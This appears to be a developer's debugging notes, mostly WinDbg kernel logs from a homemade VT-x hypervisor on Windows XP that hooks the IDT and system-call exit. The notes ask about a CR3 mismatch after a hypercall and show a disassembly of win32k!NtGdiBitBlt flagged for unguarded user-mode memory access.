In page fault handler, the fs register needs to be set up. see the following log, fs varies, hence SetMember of proc varies.


Microsoft (R) Windows Debugger Version 10.0.15063.137 X86
Copyright (c) Microsoft Corporation. All rights reserved.

Opened \\.\pipe\com_1
Waiting to reconnect...
Connected to Windows XP 2600 x86 compatible target at (Tue Dec 26 17:16:04.644 2017 (UTC - 5:00)), ptr64 FALSE
Kernel Debugger connection established.
Symbol search path is: srv*
Executable search path is:
Windows XP Kernel Version 2600 MP (1 procs) Free x86 compatible
Built by: 2600.xpsp.080413-2111
Machine Name:
Kernel base = 0x804d7000 PsLoadedModuleList = 0x8055d720
System Uptime: not available

************* Symbol Path validation summary **************
Response                         Time (ms)     Location
Deferred                                       srv*
Deferred                                       srv*c:\symbols*https://msdl.microsoft.com/download/symbols
OK                                             C:\Projects\hookidt\test\Debug

************* Symbol Path validation summary **************
Response                         Time (ms)     Location
OK                                             C:\Projects\hookidt\test\Src
nt!DebugService2+0x10:
80531eb2 cc              int     3
kd> g
ERROR: DavReadRegistryValues/RegQueryValueExW(4). WStatus = 5
ERROR: DavReadRegistryValues/RegQueryValueExW(5). WStatus = 5
ERROR: DavReadRegistryValues/RegQueryValueExW(6). WStatus = 5
watchdog!WdUpdateRecoveryState: Recovery enabled.
Start hooking...
[HookCPU]
IDT: 0x8003F400, originalIDT2eISR: 0x805444A8
Processor[1] is hooked, dwProcAddress: 0xEE6FA690
IDT: 0xF7881590, originalIDT2eISR: 0x805444A8
Processor[2] is hooked, dwProcAddress: 0xEE6FA690
Hook is done.
HookKiSystemCallExit2
testxxxintersendmsgex_test.exe,  0x6d40340
testxxxintersendmsgex_sleep100.exe,  0x6d40360
KeQueryActiveProcessors: 3
CPU 0
In DoStartVMX, Processor 0
VMXON Region Size 0x0
VMXON Access Width Bit 0x0
      [   1] --> 32-bit
      [   0] --> 64-bit
VMXON Memory Type 0x6
      [   0]  --> Strong Uncacheable
      [ 1-5]  --> Unused
      [   6]  --> Write Back
      [7-15]  --> Unused
SUCCESS: VMXON operation completed.
VMM is now running on processor 0.
GUEST_ES_SELECTOR 0x20
GUEST_CS_SELECTOR 0x8
GUEST_SS_SELECTOR 0x10
GUEST_DS_SELECTOR 0x20
GUEST_FS_SELECTOR 0x30
GUEST_GS_SELECTOR 0x0
GUEST_LDTR_SELECTOR 0x0
GUEST_TR_SELECTOR 0x28
HOST_ES_SELECTOR 0x20
HOST_CS_SELECTOR 0x8
HOST_SS_SELECTOR 0x10
HOST_DS_SELECTOR 0x20
HOST_FS_SELECTOR 0x30
HOST_GS_SELECTOR 0x0
HOST_TR_SELECTOR 0x28
CPU_BASED_VM_EXEC_CONTROL 0x401e372
PIN_BASED_VM_EXEC_CONTROL 0x16
VM_EXIT_CONTROLS 0x3edff
GUEST_ES_LIMIT 0xffffffff
GUEST_CS_LIMIT 0xffffffff
GUEST_SS_LIMIT 0xffffffff
GUEST_DS_LIMIT 0xffffffff
GUEST_FS_LIMIT 0x1fff
GUEST_GS_LIMIT 0x0
GUEST_LDTR_LIMIT 0x0
GUEST_TR_LIMIT 0x20ab
GUEST_GDTR_LIMIT 0x3ff
GUEST_IDTR_LIMIT 0x7ff
GUEST_ES_AR_BYTES 0xc0f3
GUEST_CS_AR_BYTES 0xc09b
GUEST_SS_AR_BYTES 0xc093
GUEST_DS_AR_BYTES 0xc0f3
GUEST_FS_AR_BYTES 0xc093
GUEST_GS_AR_BYTES 0x10000
GUEST_TR_AR_BYTES 0x8b
GUEST_LDTR_AR_BYTES 0x10000
GUEST_CR0 0x8001003b
GUEST_CR3 0x6d40020
GUEST_CR4 0x26f9
GUEST_CS_BASE 0x0
GUEST_SS_BASE 0x0
GUEST_DS_BASE 0x0
GUEST_ES_BASE 0x0
GUEST_FS_BASE 0xffdff000
GUEST_GS_BASE 0x0
GUEST_LDTR_BASE 0x0
GUEST_TR_BASE 0x80042000
GUEST_GDTR_BASE 0x8003f000
GUEST_IDTR_BASE 0x8003f400
GUEST_RSP 0xf7a40c20
GUEST_RIP 0xf79d8b0d
GUEST_RFLAGS 0x200202
GUEST_SYSENTER_ESP 0xf7a15000
GUEST_SYSENTER_EIP 0x80541520
GUEST_SYSENTER_CS 0x8
HOST_CR0 0x8001003b
HOST_CR3 0x6d40020
HOST_CR4 0x26f9
HOST_FS_BASE 0xffdff000
HOST_GS_BASE 0x0
HOST_TR_BASE 0x80042000, selector 0x28
HOST_GDTR_BASE 0x8003f000
HOST_IDTR_BASE 0x8003f400
CPU 1
In DoStartVMX, Processor 1
VMXON Region Size 0x0
VMXON Access Width Bit 0x0
      [   1] --> 32-bit
      [   0] --> 64-bit
VMXON Memory Type 0x6
      [   0]  --> Strong Uncacheable
      [ 1-5]  --> Unused
      [   6]  --> Write Back
      [7-15]  --> Unused
SUCCESS: VMXON operation completed.
VMM is now running on processor 1.
GUEST_ES_SELECTOR 0x20
GUEST_CS_SELECTOR 0x8
GUEST_SS_SELECTOR 0x10
GUEST_DS_SELECTOR 0x20
GUEST_FS_SELECTOR 0x30
GUEST_GS_SELECTOR 0x0
GUEST_LDTR_SELECTOR 0x0
GUEST_TR_SELECTOR 0x28
HOST_ES_SELECTOR 0x20
HOST_CS_SELECTOR 0x8
HOST_SS_SELECTOR 0x10
HOST_DS_SELECTOR 0x20
HOST_FS_SELECTOR 0x30
HOST_GS_SELECTOR 0x0
HOST_TR_SELECTOR 0x28
CPU_BASED_VM_EXEC_CONTROL 0x401e372
PIN_BASED_VM_EXEC_CONTROL 0x16
VM_EXIT_CONTROLS 0x3edff
GUEST_ES_LIMIT 0xffffffff
GUEST_CS_LIMIT 0xffffffff
GUEST_SS_LIMIT 0xffffffff
GUEST_DS_LIMIT 0xffffffff
GUEST_FS_LIMIT 0x1fff
GUEST_GS_LIMIT 0x0
GUEST_LDTR_LIMIT 0x0
GUEST_TR_LIMIT 0x20ab
GUEST_GDTR_LIMIT 0x3ff
GUEST_IDTR_LIMIT 0x7ff
GUEST_ES_AR_BYTES 0xc0f3
GUEST_CS_AR_BYTES 0xc09b
GUEST_SS_AR_BYTES 0xc093
GUEST_DS_AR_BYTES 0xc0f3
GUEST_FS_AR_BYTES 0xc093
GUEST_GS_AR_BYTES 0x10000
GUEST_TR_AR_BYTES 0x8b
GUEST_LDTR_AR_BYTES 0x10000
GUEST_CR0 0x8001003b
GUEST_CR3 0x6d40020
GUEST_CR4 0x26f9
GUEST_CS_BASE 0x0
GUEST_SS_BASE 0x0
GUEST_DS_BASE 0x0
GUEST_ES_BASE 0x0
GUEST_FS_BASE 0xf787d000
GUEST_GS_BASE 0x0
GUEST_LDTR_BASE 0x0
GUEST_TR_BASE 0xf787dd70
GUEST_GDTR_BASE 0xf7881190
GUEST_IDTR_BASE 0xf7881590
GUEST_RSP 0xf7a40c20
GUEST_RIP 0xf79d8b0d
GUEST_RFLAGS 0x200202
GUEST_SYSENTER_ESP 0xf7a25000
GUEST_SYSENTER_EIP 0x80541520
GUEST_SYSENTER_CS 0x8
HOST_CR0 0x8001003b
HOST_CR3 0x6d40020
HOST_CR4 0x26f9
HOST_FS_BASE 0xf787d000
HOST_GS_BASE 0x0
HOST_TR_BASE 0xf787dd70, selector 0x28
HOST_GDTR_BASE 0xf7881190
HOST_IDTR_BASE 0xf7881590
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xffdff120
SetMember 0x1
current kprcb: 0xffdff120
SetMember 0x1
current kprcb: 0xffdff120
SetMember 0x1
current kprcb: 0xffdff120
SetMember 0x1
current kprcb: 0xffdff120
SetMember 0x1
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xffdff120
SetMember 0x1
current kprcb: 0xffdff120
SetMember 0x1
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xffdff120
SetMember 0x1
current kprcb: 0xffdff120
SetMember 0x1
current kprcb: 0xffdff120
SetMember 0x1
current kprcb: 0xffdff120
SetMember 0x1
current kprcb: 0xffdff120
SetMember 0x1
current kprcb: 0xffdff120
SetMember 0x1
current kprcb: 0xffdff120
SetMember 0x1
current kprcb: 0xffdff120
SetMember 0x1
current kprcb: 0xffdff120
SetMember 0x1
current kprcb: 0xffdff120
SetMember 0x1
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xffdff120
SetMember 0x1
current kprcb: 0xffdff120
SetMember 0x1
current kprcb: 0xffdff120
SetMember 0x1
current kprcb: 0xffdff120
SetMember 0x1
current kprcb: 0xffdff120
SetMember 0x1
current kprcb: 0xffdff120
SetMember 0x1
current kprcb: 0xffdff120
SetMember 0x1
current kprcb: 0xffdff120
SetMember 0x1
current kprcb: 0xffdff120
SetMember 0x1
current kprcb: 0xffdff120
SetMember 0x1
current kprcb: 0xffdff120
SetMember 0x1
current kprcb: 0xffdff120
SetMember 0x1
current kprcb: 0xffdff120
SetMember 0x1
current kprcb: 0xffdff120
SetMember 0x1
current kprcb: 0xffdff120
SetMember 0x1
current kprcb: 0xffdff120
SetMember 0x1
current kprcb: 0xffdff120
SetMember 0x1
current kprcb: 0xffdff120
SetMember 0x1
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xffdff120
SetMember 0x1
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xffdff120
SetMember 0x1
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xffdff120
SetMember 0x1
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
Break instruction exception - code 80000003 (first chance)
*******************************************************************************
*                                                                             *
*   You are seeing this message because you pressed either                    *
*       CTRL+C (if you run console kernel debugger) or,                       *
*       CTRL+BREAK (if you run GUI kernel debugger),                          *
*   on your debugger machine's keyboard.                                      *
*                                                                             *
*                   THIS IS NOT A BUG OR A SYSTEM CRASH                       *
*                                                                             *
* If you did not intend to break into the debugger, press the "g" key, then   *
* press the "Enter" key now.  This message might immediately reappear.  If it *
* does, press "g" and "Enter" again.                                          *
*                                                                             *
*******************************************************************************
current kprcb: 0xf787d120
SetMember 0x2
current kprcb: 0xf787d120
SetMember 0x2
nt!RtlpBreakWithStatusInstruction:
8052b5dc cc              int     3
current kprcb: 0xf787d120
SetMember 0x2

Now what i'm troubling with is this:

I try to use hypercall to inform hypervisor and let it invalid a tlb entry for me on all processors.
In hypercall handler, I tried to call NtProtectVirtualMemory do that. I set breakpoint right before calling NtProtectVirtualMemroy. Sometimes single step over it is fine. I may run for several times. But eventually the system freeze. I got this:


Microsoft (R) Windows Debugger Version 10.0.15063.137 X86
Copyright (c) Microsoft Corporation. All rights reserved.

Opened \\.\pipe\com_1
Waiting to reconnect...
Connected to Windows XP 2600 x86 compatible target at (Mon Dec 25 18:03:25.836 2017 (UTC - 5:00)), ptr64 FALSE
Kernel Debugger connection established.
Symbol search path is: srv*
Executable search path is:
Windows XP Kernel Version 2600 MP (1 procs) Free x86 compatible
Built by: 2600.xpsp.080413-2111
Machine Name:
Kernel base = 0x804d7000 PsLoadedModuleList = 0x8055d720
System Uptime: not available

************* Symbol Path validation summary **************
Response                         Time (ms)     Location
Deferred                                       srv*
Deferred                                       srv*c:\symbols*https://msdl.microsoft.com/download/symbols
OK                                             C:\Projects\hookidt\test\Debug

************* Symbol Path validation summary **************
Response                         Time (ms)     Location
OK                                             C:\Projects\hookidt\test\Src
nt!DebugService2+0x10:
80531eb2 cc              int     3
kd> g
ERROR: DavReadRegistryValues/RegQueryValueExW(4). WStatus = 5
ERROR: DavReadRegistryValues/RegQueryValueExW(5). WStatus = 5
ERROR: DavReadRegistryValues/RegQueryValueExW(6). WStatus = 5
Start hooking...
[HookCPU]
IDT: 0x8003F400, originalIDT2eISR: 0x805444A8
Processor[1] is hooked, dwProcAddress: 0xB19E5620
IDT: 0xBAB3C590, originalIDT2eISR: 0x805444A8
Processor[2] is hooked, dwProcAddress: 0xB19E5620
Hook is done.
HookKiSystemCallExit2
testxxxintersendmsgex_sleep100.exe,  0xaac0300
KeQueryActiveProcessors: 3
CPU 0
In DoStartVMX, Processor 0
VMXON Region Size 0x0
VMXON Access Width Bit 0x0
      [   1] --> 32-bit
      [   0] --> 64-bit
VMXON Memory Type 0x6
      [   0]  --> Strong Uncacheable
      [ 1-5]  --> Unused
      [   6]  --> Write Back
      [7-15]  --> Unused
SUCCESS: VMXON operation completed.
VMM is now running on processor 0.
GUEST_ES_SELECTOR 0x20
GUEST_CS_SELECTOR 0x8
GUEST_SS_SELECTOR 0x10
GUEST_DS_SELECTOR 0x20
GUEST_FS_SELECTOR 0x30
GUEST_GS_SELECTOR 0x0
GUEST_LDTR_SELECTOR 0x0
GUEST_TR_SELECTOR 0x28
HOST_ES_SELECTOR 0x20
HOST_CS_SELECTOR 0x8
HOST_SS_SELECTOR 0x10
HOST_DS_SELECTOR 0x20
HOST_FS_SELECTOR 0x30
HOST_GS_SELECTOR 0x0
HOST_TR_SELECTOR 0x28
CPU_BASED_VM_EXEC_CONTROL 0x401e372
PIN_BASED_VM_EXEC_CONTROL 0x16
VM_EXIT_CONTROLS 0x3edff
GUEST_ES_LIMIT 0xffffffff
GUEST_CS_LIMIT 0xffffffff
GUEST_SS_LIMIT 0xffffffff
GUEST_DS_LIMIT 0xffffffff
GUEST_FS_LIMIT 0x1fff
GUEST_GS_LIMIT 0x0
GUEST_LDTR_LIMIT 0x0
GUEST_TR_LIMIT 0x20ab
GUEST_GDTR_LIMIT 0x3ff
GUEST_IDTR_LIMIT 0x7ff
GUEST_ES_AR_BYTES 0xc0f3
GUEST_CS_AR_BYTES 0xc09b
GUEST_SS_AR_BYTES 0xc093
GUEST_DS_AR_BYTES 0xc0f3
GUEST_FS_AR_BYTES 0xc093
GUEST_GS_AR_BYTES 0x10000
GUEST_TR_AR_BYTES 0x8b
GUEST_LDTR_AR_BYTES 0x10000
GUEST_CR0 0x8001003b
GUEST_CR3 0xaac0020
GUEST_CR4 0x26f9
GUEST_CS_BASE 0x0
GUEST_SS_BASE 0x0
GUEST_DS_BASE 0x0
GUEST_ES_BASE 0x0
GUEST_FS_BASE 0xffdff000
GUEST_GS_BASE 0x0
GUEST_LDTR_BASE 0x0
GUEST_TR_BASE 0x80042000
GUEST_GDTR_BASE 0x8003f000
GUEST_IDTR_BASE 0x8003f400
GUEST_RSP 0xbacffc20
GUEST_RIP 0xbac2bb0d
GUEST_RFLAGS 0x202
GUEST_SYSENTER_ESP 0xbacd0000
GUEST_SYSENTER_EIP 0x80541520
GUEST_SYSENTER_CS 0x8
HOST_CR0 0x8001003b
HOST_CR3 0xaac0020
HOST_CR4 0x26f9
HOST_FS_BASE 0xffdff000
HOST_GS_BASE 0x0
HOST_TR_BASE 0x80042000, selector 0x28
HOST_GDTR_BASE 0x8003f000
HOST_IDTR_BASE 0x8003f400
CPU 1
In DoStartVMX, Processor 1
VMXON Region Size 0x0
VMXON Access Width Bit 0x0
      [   1] --> 32-bit
      [   0] --> 64-bit
VMXON Memory Type 0x6
      [   0]  --> Strong Uncacheable
      [ 1-5]  --> Unused
      [   6]  --> Write Back
      [7-15]  --> Unused
SUCCESS: VMXON operation completed.
VMM is now running on processor 1.
GUEST_ES_SELECTOR 0x20
GUEST_CS_SELECTOR 0x8
GUEST_SS_SELECTOR 0x10
GUEST_DS_SELECTOR 0x20
GUEST_FS_SELECTOR 0x30
GUEST_GS_SELECTOR 0x0
GUEST_LDTR_SELECTOR 0x0
GUEST_TR_SELECTOR 0x28
HOST_ES_SELECTOR 0x20
HOST_CS_SELECTOR 0x8
HOST_SS_SELECTOR 0x10
HOST_DS_SELECTOR 0x20
HOST_FS_SELECTOR 0x30
HOST_GS_SELECTOR 0x0
HOST_TR_SELECTOR 0x28
CPU_BASED_VM_EXEC_CONTROL 0x401e372
PIN_BASED_VM_EXEC_CONTROL 0x16
VM_EXIT_CONTROLS 0x3edff
GUEST_ES_LIMIT 0xffffffff
GUEST_CS_LIMIT 0xffffffff
GUEST_SS_LIMIT 0xffffffff
GUEST_DS_LIMIT 0xffffffff
GUEST_FS_LIMIT 0x1fff
GUEST_GS_LIMIT 0x0
GUEST_LDTR_LIMIT 0x0
GUEST_TR_LIMIT 0x20ab
GUEST_GDTR_LIMIT 0x3ff
GUEST_IDTR_LIMIT 0x7ff
GUEST_ES_AR_BYTES 0xc0f3
GUEST_CS_AR_BYTES 0xc09b
GUEST_SS_AR_BYTES 0xc093
GUEST_DS_AR_BYTES 0xc0f3
GUEST_FS_AR_BYTES 0xc093
GUEST_GS_AR_BYTES 0x10000
GUEST_TR_AR_BYTES 0x8b
GUEST_LDTR_AR_BYTES 0x10000
GUEST_CR0 0x8001003b
GUEST_CR3 0xaac0020
GUEST_CR4 0x26f9
GUEST_CS_BASE 0x0
GUEST_SS_BASE 0x0
GUEST_DS_BASE 0x0
GUEST_ES_BASE 0x0
GUEST_FS_BASE 0xbab38000
GUEST_GS_BASE 0x0
GUEST_LDTR_BASE 0x0
GUEST_TR_BASE 0xbab38d70
GUEST_GDTR_BASE 0xbab3c190
GUEST_IDTR_BASE 0xbab3c590
GUEST_RSP 0xbacffc20
GUEST_RIP 0xbac2bb0d
GUEST_RFLAGS 0x202
GUEST_SYSENTER_ESP 0xbace0000
GUEST_SYSENTER_EIP 0x80541520
GUEST_SYSENTER_CS 0x8
HOST_CR0 0x8001003b
HOST_CR3 0xaac0020
HOST_CR4 0x26f9
HOST_FS_BASE 0xbab38000
HOST_GS_BASE 0x0
HOST_TR_BASE 0xbab38d70, selector 0x28
HOST_GDTR_BASE 0xbab3c190
HOST_IDTR_BASE 0xbab3c590
Break instruction exception - code 80000003 (first chance)
WARNING: Process directory table base 0AAC0300 doesn't match CR3 0AAC0020
WARNING: Process directory table base 0AAC0300 doesn't match CR3 0AAC0020
hypervisor!TestFlush+0x29:
bac2a299 cc              int     3
1: kd> p
hypervisor!TestFlush+0x2a:
bac2a29a 833d18c0c2ba00  cmp     dword ptr [hypervisor!pZwProtectVirtualMemory (bac2c018)],0
WARNING: Process directory table base 0AAC0300 doesn't match CR3 0AAC0020
WARNING: Process directory table base 0AAC0300 doesn't match CR3 0AAC0020
1: kd> p
hypervisor!TestFlush+0x33:
bac2a2a3 c70518c0c2bae0075080 mov dword ptr [hypervisor!pZwProtectVirtualMemory (bac2c018)],offset nt!ZwProtectVirtualMemory (805007e0)
WARNING: Process directory table base 0AAC0300 doesn't match CR3 0AAC0020
WARNING: Process directory table base 0AAC0300 doesn't match CR3 0AAC0020
1: kd> r cr3
cr3=0aac0020
1: kd> dd 0
00000000  00000001 00000004 0040b408 00000000
00000010  00000000 00000000 00000000 00000000
00000020  00000000 00000000 00000000 00000000
00000030  00000000 00000000 00000000 00000000
00000040  00000000 00000000 00000000 00000000
00000050  00000000 00000000 00000000 00000000
00000060  00000000 00000000 00000000 00000000
00000070  00000000 00000000 00000000 00000000
1: kd> !process
Failed to get VadRoot
PROCESS 89e7e448  SessionId: 0  Cid: 0448    Peb: 7ffde000  ParentCid: 06c8
    DirBase: 0aac0300  ObjectTable: e23c08a8  HandleCount:  14.
    Image: testxxxintersendmsgex_sleep100.exe
    VadRoot 00000000 Vads 0 Clone 0 Private 60. Modified 0. Locked 0.
    DeviceMap e16df2e0
    Token                             e2580bc0
    ElapsedTime                       00:01:19.421
    UserTime                          00:00:00.015
    KernelTime                        00:00:00.187
    QuotaPoolUsage[PagedPool]         0
    QuotaPoolUsage[NonPagedPool]      0
    Working Set Sizes (now,min,max)  (379, 50, 345) (1516KB, 200KB, 1380KB)
    PeakWorkingSetSize                379
    VirtualSize                       13 Mb
    PeakVirtualSize                   13 Mb
    PageFaultCount                    373
    MemoryPriority                    BACKGROUND
    BasePriority                      8
    CommitCharge                      79

        THREAD 899d4020  Cid 0448.0428  Teb: 7ffdd000 Win32Thread: e223e720 RUNNING on processor 1

1: kd> r cr3
cr3=0aac0020

This is not a crash, just when I single step over after the break point, windbg shows:

WARNING: Process directory table base 0AAC0300 doesn't match CR3 0AAC0020

The current process's page dir base is 0AAC0300 but the current cr3 is 0AAC0020 which is belong to SYSTEM process.

At first I thought that the reason could be that during NtProtectVirtualMemory, it may call other system calls to wait or sleep. Hence process context switch happens.

But I didn't event entering NtProtectVirtualMemory.  Must be some place wrong with my hypervisor?

NtGdiBitBlt accessing user mode address withough try catch

This is the log.

Smap violation :error code 0x1, cs 0x8, VA 0xc10a7c, cr3 0x9a001c0, eip 0xbf8099c4, eflags 0x10282, TEB 0x7ffda000

kd> u 0xbf8099c4

win32k!NtGdiBitBlt+0x81:

bf8099c4 8b896c010000    mov     ecx,dword ptr [ecx+16Ch]

bf8099ca 53              push    ebx

bf8099cb 8b5d14          mov     ebx,dword ptr [ebp+14h]

bf8099ce 57              push    edi

bf8099cf 8b7dfc          mov     edi,dword ptr [ebp-4]

bf8099d2 8b472c          mov     eax,dword ptr [edi+2Ch]

bf8099d5 8b906c010000    mov     edx,dword ptr [eax+16Ch]

bf8099db 33ca            xor     ecx,edx

kd> u win32k!NtGdiBitBlt L50

win32k!NtGdiBitBlt:

bf80996d 8bff            mov     edi,edi

bf80996f 55              push    ebp

bf809970 8bec            mov     ebp,esp

bf809972 83ec68          sub     esp,68h

bf809975 8365f800        and     dword ptr [ebp-8],0

bf809979 f6452b40        test    byte ptr [ebp+2Bh],40h

bf80997d 0f853efeffff    jne     win32k!NtGdiBitBlt+0x12 (bf8097c1)

bf809983 56              push    esi

bf809984 ff7508          push    dword ptr [ebp+8]

bf809987 8b7528          mov     esi,dword ptr [ebp+28h]

bf80998a 80652b7f        and     byte ptr [ebp+2Bh],7Fh

bf80998e 8d4dfc          lea     ecx,[ebp-4]

bf809991 e8dcaaffff      call    win32k!XDCOBJ::XDCOBJ (bf804472)

bf809996 8b45fc          mov     eax,dword ptr [ebp-4]

bf809999 85c0            test    eax,eax

bf80999b 0f84a6030000    je      win32k!NtGdiBitBlt+0x5ec (bf809d47)

bf8099a1 f6401980        test    byte ptr [eax+19h],80h

bf8099a5 0f859c030000    jne     win32k!NtGdiBitBlt+0x5ec (bf809d47)

bf8099ab ff751c          push    dword ptr [ebp+1Ch]

bf8099ae 8d4df0          lea     ecx,[ebp-10h]

bf8099b1 e8bcaaffff      call    win32k!XDCOBJ::XDCOBJ (bf804472)

bf8099b6 8b4df0          mov     ecx,dword ptr [ebp-10h]

bf8099b9 85c9            test    ecx,ecx

bf8099bb 0f847a030000    je      win32k!NtGdiBitBlt+0x5e0 (bf809d3b)

bf8099c1 8b492c          mov     ecx,dword ptr [ecx+2Ch]

bf8099c4 8b896c010000    mov     ecx,dword ptr [ecx+16Ch]

bf8099ca 53              push    ebx

bf8099cb 8b5d14          mov     ebx,dword ptr [ebp+14h]

bf8099ce 57              push    edi

bf8099cf 8b7dfc          mov     edi,dword ptr [ebp-4]

bf8099d2 8b472c          mov     eax,dword ptr [edi+2Ch]

bf8099d5 8b906c010000    mov     edx,dword ptr [eax+16Ch]

bf8099db 33ca            xor     ecx,edx

bf8099dd f6c107          test    cl,7

bf8099e0 0f8551040000    jne     win32k!NtGdiBitBlt+0x9f (bf809e37)

bf8099e6 8365ec00        and     dword ptr [ebp-14h],0

bf8099ea 8b750c          mov     esi,dword ptr [ebp+0Ch]

bf8099ed bf04020000      mov     edi,204h

bf8099f2 57              push    edi

bf8099f3 8d45fc          lea     eax,[ebp-4]

bf8099f6 50              push    eax

bf8099f7 8d4dd8          lea     ecx,[ebp-28h]

bf8099fa e893aaffff      call    win32k!EXFORMOBJ::vQuickInit (bf804492)

bf8099ff 57              push    edi

bf809a00 8d45f0          lea     eax,[ebp-10h]

bf809a03 50              push    eax

bf809a04 8d4dcc          lea     ecx,[ebp-34h]

bf809a07 e886aaffff      call    win32k!EXFORMOBJ::vQuickInit (bf804492)

bf809a0c 8b45d8          mov     eax,dword ptr [ebp-28h]

bf809a0f f6403801        test    byte ptr [eax+38h],1

bf809a13 0f84fdfeffff    je      win32k!NtGdiBitBlt+0x599 (bf809916)

bf809a19 ff75cc          push    dword ptr [ebp-34h]

bf809a1c 8d4dd8          lea     ecx,[ebp-28h]

bf809a1f e8a6b3ffff      call    win32k!EXFORMOBJ::bEqualExceptTranslations (bf804dca)

bf809a24 85c0            test    eax,eax

bf809a26 0f84eafeffff    je      win32k!NtGdiBitBlt+0x599 (bf809916)

bf809a2c 8b4520          mov     eax,dword ptr [ebp+20h]

bf809a2f 8b4d24          mov     ecx,dword ptr [ebp+24h]

bf809a32 8b7d18          mov     edi,dword ptr [ebp+18h]

bf809a35 8945ac          mov     dword ptr [ebp-54h],eax

bf809a38 03c3            add     eax,ebx

bf809a3a 8945b4          mov     dword ptr [ebp-4Ch],eax

bf809a3d 8d0439          lea     eax,[ecx+edi]

bf809a40 8945b8          mov     dword ptr [ebp-48h],eax

bf809a43 8d45ac          lea     eax,[ebp-54h]

bf809a46 894db0          mov     dword ptr [ebp-50h],ecx

bf809a49 50              push    eax

bf809a4a 8d4dcc          lea     ecx,[ebp-34h]

bf809a4d e806acffff      call    win32k!EXFORMOBJ::bXform (bf804658)

bf809a52 8d4dac          lea     ecx,[ebp-54h]

bf809a55 e8b3aaffff      call    win32k!ERECTL::vOrder (bf80450d)

bf809a5a 8b4510          mov     eax,dword ptr [ebp+10h]

bf809a5d 8945c0          mov     dword ptr [ebp-40h],eax

bf809a60 03c7            add     eax,edi

bf809a62 8945c8          mov     dword ptr [ebp-38h],eax

bf809a65 8975bc          mov     dword ptr [ebp-44h],esi

bf809a68 8d45bc          lea     eax,[ebp-44h]

